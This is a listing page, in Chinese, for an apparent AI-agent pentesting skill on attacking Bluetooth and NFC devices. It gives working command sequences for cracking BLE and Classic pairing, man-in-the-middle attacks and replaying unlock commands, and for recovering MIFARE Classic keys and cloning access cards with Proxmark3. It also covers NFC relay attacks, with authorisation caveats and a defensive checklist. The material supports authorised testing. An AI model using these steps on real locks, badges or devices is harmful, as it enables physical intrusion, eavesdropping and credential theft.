mcpField
A
attacking-bluetooth-nfc

attacking-bluetooth-nfc

github.com/trilwu安全17748 次安装12 周前更新
代码仓库

关于 attacking-bluetooth-nfc

面向经授权的无线安全测试人员,提供 Bluetooth 与 NFC 设备评估方法,覆盖设备发现、通信分析、凭据克隆和防御检查。内容强调无线测试的授权、隐私及物理范围管理。

主要功能

  1. 01发现 Bluetooth Classic 与 BLE 设备
  2. 02枚举 GATT 服务与特征
  3. 03分析或中继 BLE 通信
  4. 04检查 NFC 卡片与访问控制
  5. 05整理常见风险及防御清单

适用场景

  1. 01评估 BLE 外设和物联网设备
  2. 02测试 NFC 门禁卡与读卡器
  3. 03检查非接触支付或交通卡
  4. 04审查蓝牙通信和凭据安全

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/trilwu/secskills --skill attacking-bluetooth-nfc

安装后在 Claude Code 中输入/attacking-bluetooth-nfc确认已加载。

详细介绍

攻击蓝牙和 NFC

蓝牙和 NFC 与早期 Wi-Fi 有一个共同点——这些协议是为可信物理环境中的便利性而设计的,但如今这种信任假设已不再成立。BLE 设备经常以明文传输敏感数据,因为 GATT 特征当初被视为“内部”数据;NFC 门禁卡则依赖多年前就已被破解的密码技术。物理接近不等于访问控制。

适用场景

  • 评估带有蓝牙接口的 BLE 外围设备或 IoT 设备
  • 测试基于 NFC 的物理访问控制系统(门禁读卡器、门锁)
  • 评估非接触式支付卡或交通卡的安全性
  • 渗透测试 Bluetooth Classic 服务(RFCOMM、OBEX、SDP)
  • 嗅探或拦截设备与应用之间的 BLE 通信
  • 克隆或重放 NFC/RFID 凭证

范围和授权。 RF 测试有别于其他渗透测试,涉及特殊的法律风险,因为无线电信号无法限制在目标范围内:

  • 拦截属于窃听法律管辖范围。 捕获 BLE 或 Bluetooth Classic 流量时,也会捕获附近的其他传输信号——员工手机、医疗设备、相邻租户的设备。在美国,这涉及《窃听法》和 ECPA;大多数司法管辖区也有类似法律。请在屏蔽箱中或可清点所捕获所有设备的受控区域内测试,并丢弃非目标捕获数据,不做分析。
  • 发射信号受监管。 无论目标设备的所有者是谁,干扰信号、主动 BLE 注入和高功率中继装置都可能违反 FCC Part 15(或国家等效法规)。
  • 克隆的访问凭证就是实体钥匙。 在许多司法管辖区,复制门禁卡可能涉及伪造,并会让你进入测试范围之外的区域。克隆前请确认哪些门在测试范围内,记录你制作的每个凭证,并在测试结束后销毁克隆件。

请以书面形式取得现场授权、RF 测试时段安排和设备清单,并随身携带授权函——RF 测试是你最有可能在测试过程中受到现场质询的场景。

不适用场景

  • Wi-Fi 攻击——使用 attacking-wireless-networks
  • 超出 RF 接口范围的设备固件提取与分析——使用 analyzing-firmware-images
  • 超出 BLE 通信层的移动应用安全测试——使用 testing-mobile-applications

Bluetooth Classic

发现与枚举
hcitool scan                              # Discoverable devices
hcitool inq                               # Extended inquiry (class, RSSI)
hcitool info AA:BB:CC:DD:EE:FF            # Name, class, features
hciconfig -a                              # Local adapters

# bluetoothctl interactive
bluetoothctl
# scan on / devices / info AA:BB:CC:DD:EE:FF
服务发现和 RFCOMM
# SDP enumeration
sdptool browse AA:BB:CC:DD:EE:FF          # All services
sdptool search SP AA:BB:CC:DD:EE:FF       # Serial Port profile
sdptool search OPUSH AA:BB:CC:DD:EE:FF    # OBEX Push

# Connect to RFCOMM channel
rfcomm connect /dev/rfcomm0 AA:BB:CC:DD:EE:FF 1
screen /dev/rfcomm0 115200                # Interact as serial device
PIN 暴力破解
spooftooph -i hci0 -a AA:BB:CC:DD:EE:FF  # Spoof BT identity
btcrack <bd_addr_file> <pairing_capture>  # Offline PIN cracking
crackle -i capture.pcap -o decrypted.pcap # Crack BLE legacy pairing TK

BLE(Bluetooth Low Energy)

扫描和 GATT 枚举
hcitool lescan                            # Discover BLE devices
bettercap -eval "ble.recon on"            # bettercap discovery
# ble.enum AA:BB:CC:DD:EE:FF             # Enumerate services

# gatttool interactive
gatttool -b AA:BB:CC:DD:EE:FF -I
# connect / primary / characteristics / char-desc
# char-read-hnd 0x000e                   # Read by handle
# char-write-req 0x000e 0100             # Write value
# char-write-req 0x000f 0100             # Enable notifications

# bettercap GATT operations
# ble.read AA:BB:CC:DD:EE:FF <svc_uuid> <char_uuid>
# ble.write AA:BB:CC:DD:EE:FF <svc_uuid> <char_uuid> <hex>

nRF Connect(移动版或桌面版)通常是交互式浏览 GATT 的最快方式。请通过 UUID 和特征属性截图记录发现结果。

Just Works 配对

BLE 的“Just Works”配对不提供 MITM 防护。临时密钥为零,因此范围内的任何观察者都能推导出短期密钥并解密流量。如果设备使用 Just Works,请在报告中指出——具备数字比较或密码输入方式的 Secure Connections 才是最低要求。

BLE 攻击模式

使用 GATTacker 或 BtleJuice 进行 MITM 攻击
# GATTacker -- clone peripheral, proxy all GATT traffic
node scan.js
node advertise.js -a <target_mac>         # Fake peripheral
node central.js -a <target_mac>           # Proxy to real device

# BtleJuice (two BLE adapters required)
btlejuice -u <ws_url> -w                  # Core: connects to real device
btlejuice-proxy -i hci1                   # Proxy: advertises as clone
# Web UI on port 8080 for intercept/modify
重放攻击

许多 BLE 设备对命令(解锁、配置)使用静态值。捕获特征值,然后通过你自己的连接重放。如果不存在随机数、计数器或会话绑定,设备就会接受该命令。

gatttool -b AA:BB:CC:DD:EE:FF --char-read -a 0x0031        # Capture
gatttool -b AA:BB:CC:DD:EE:FF --char-write-req -a 0x0031 -n <hex>  # Replay

智能门锁、支持 BLE 的保险箱和 IoT 执行器中常见此类问题。

其他 BLE 弱点

明文特征。 IoT 设备经常通过可读的 GATT 特征暴露 Wi-Fi 凭证、设备令牌和配置信息,且不进行身份验证。请枚举并读取所有内容。

未签名的 DFU。 如果通过 BLE 进行的设备固件更新未进行签名验证,设备就会接受修改过的固件映像。请查找 Nordic DFU Service(UUID 0xFE59)或类似的 OTA 服务。

蓝牙嗅探

# Ubertooth One (Classic)
ubertooth-rx -l <LAP>                     # Follow specific connection
ubertooth-rx -r /tmp/bt.pcap             # Pipe to Wireshark
ubertooth-specan                          # Spectrum analysis

# nRF52840 dongle (BLE)
# Flash nRF Sniffer firmware, then:
wireshark -k -i /dev/ttyACM0              # Select device in toolbar

Wireshark 过滤器: btle.advertising_header(广播), btatt.handle == 0x000e(特定句柄),btsmp(配对流量)。 对于 Ubertooth Classic 捕获数据,请使用 btbb 插件。

NFC

Proxmark3
proxmark3 /dev/ttyACM0                    # Start client

# Card identification
hf search                                 # High-frequency
lf search                                 # Low-frequency

# MIFARE Classic operations
hf mf autopwn                             # Try defaults, then nested/hardnested
hf mf dump                                # Dump entire card
hf mf nested --1k --blk 0 -a -k FFFFFFFFFFFF    # Nested attack
hf mf hardnested --blk 0 -a -k FFFFFFFFFFFF --tblk 4 --ta  # Hardnested

# Clone and emulate
hf mf restore                             # Write dump to blank card
hf mf sim --1k                            # Emulate card
hf mf csetuid --uid <8_hex>              # Set UID on magic card
MIFARE Classic(Crypto1)

Crypto1 已被破解。密钥恢复需要几秒到几分钟。

攻击优先级:

  1. 默认密钥 —— FFFFFFFFFFFF、A0A1A2A3A4A5、D3F7D3F7D3F7。许多部署从未更改这些密钥。
  2. Nested 攻击 —— 一个已知密钥即可恢复所有扇区密钥。
  3. Hardnested 攻击 —— 任意扇区中的一个已知密钥即可推导出其他密钥。
  4. Darkside 攻击 —— 适用于某些变体,无需已知密钥。

如果 MIFARE Classic 是唯一的门禁凭证,则该发现属于严重问题。

MIFARE DESFire

DESFire 使用 AES/3DES,无法直接恢复密钥。重点检查默认应用密钥(通常全为零)、密钥分散机制的弱点,以及后端是否会对 UID 之外的信息进行验证。

libnfc
nfc-list                                  # List NFC devices
nfc-mfclassic r a dump.mfd               # Read card
nfc-mfclassic w a dump.mfd               # Write card

NFC 和门禁控制

克隆门禁卡
hf 14a reader                             # Read card UID
hf mf autopwn                             # Crack keys
hf mf dump                                # Dump contents
hf mf cload                               # Write to magic clone card

许多门禁系统只检查 UID,不检查加密的扇区数据。UID 克隆轻而易举,可彻底绕过这类部署的防护。

中继攻击(NFCGate)

NFC 中继会通过网络链路实时转发卡片通信。使用两台运行 NFCGate 的 Android 设备:一台靠近读卡器,另一台靠近受害者的卡片。尽管卡片实际位于别处,读卡器仍会看到有效交互。这会绕过距离限制假设。

NDEF 记录
hf mfu ndefread                           # Read NDEF data
# May contain: URLs, Wi-Fi credentials, BT pairing data, app data

公共场所中可写的 NFC 标签可能会被覆写为恶意 NDEF 记录(钓鱼 URL、恶意 Wi-Fi 配置)。

常见发现

发现严重程度备注
静态 BLE 配对 / Just Works高被动窃听、中间人攻击
未加密的 GATT 特征高无需配对即可读取
重放静态 BLE 命令高无 nonce 或会话绑定
Bluetooth Classic 默认 PIN中0000/1234,可暴力破解
MIFARE Classic 门禁控制严重Crypto1 已被破解;几分钟即可破解
仅通过 UID 验证访问权限严重轻而易举即可克隆
未签名的 BLE DFU高可在设备上运行任意代码
可写 NFC 标签且无身份验证中内容可被替换
无双向身份验证高任意 central 均可连接
默认 DESFire 应用密钥高初始部署时全为零

防御审查清单

  • BLE 使用 Secure Connections 配对(数字比较或通行密钥)
  • 敏感 GATT 特征需要绑定和加密
  • BLE 命令包含与会话绑定的 nonce 或计数器
  • DFU 在应用固件前验证固件签名
  • NFC 卡使用 DESFire 或更安全的方案,而非 MIFARE Classic
  • 门禁控制会验证扇区数据,而不只是 UID
  • 每张卡使用单独分散的密钥
  • 公共 NFC 标签设为只读或要求身份验证
  • Bluetooth Classic 服务在访问数据前要求身份验证
  • 已采取中继攻击缓解措施(距离界定、时序检测)

应驳斥的理由

  • “设备只能在蓝牙范围内访问。” 范围 扩展器、定向天线和中继攻击可以将 10 米延伸到 100 米。近距离并不构成安全边界。

  • “我们使用了 BLE 加密。” 如果没有 Secure Connections,临时 密钥就为零,任何被动监听者都可以解密流量。

  • “NFC 卡使用了加密(MIFARE Classic)。” Crypto1 自 2008 年起 就已被公开破解。恢复密钥只需几分钟。

  • “必须获得物理接触,因此风险很低。” 挂在挂绳上的徽章和放在架子上的 BLE 设备,任何能走进大厅的人都能接触到。

  • “我们会在后端检测克隆卡。” 大多数部署不会关联使用模式,也不会检测并发使用。请用 证据验证。

  • “BLE 特征没有文档说明。” GATT 枚举会自动进行。几秒钟内就能发现每个 特征。

  • “我们的 BLE 固件更新使用专有格式。” 专有格式并不是签名机制。没有签名 检查就意味着更新可以被替换。

参考资料

  • attacking-wireless-networks —— Wi-Fi 攻击和无线侦察
  • analyzing-firmware-images —— 提取和分析设备固件
  • testing-mobile-applications —— BLE 层之外的移动应用测试
  • engineering-detections —— 针对 Bluetooth 和 NFC 滥用的检测规则

评论

支持 Markdown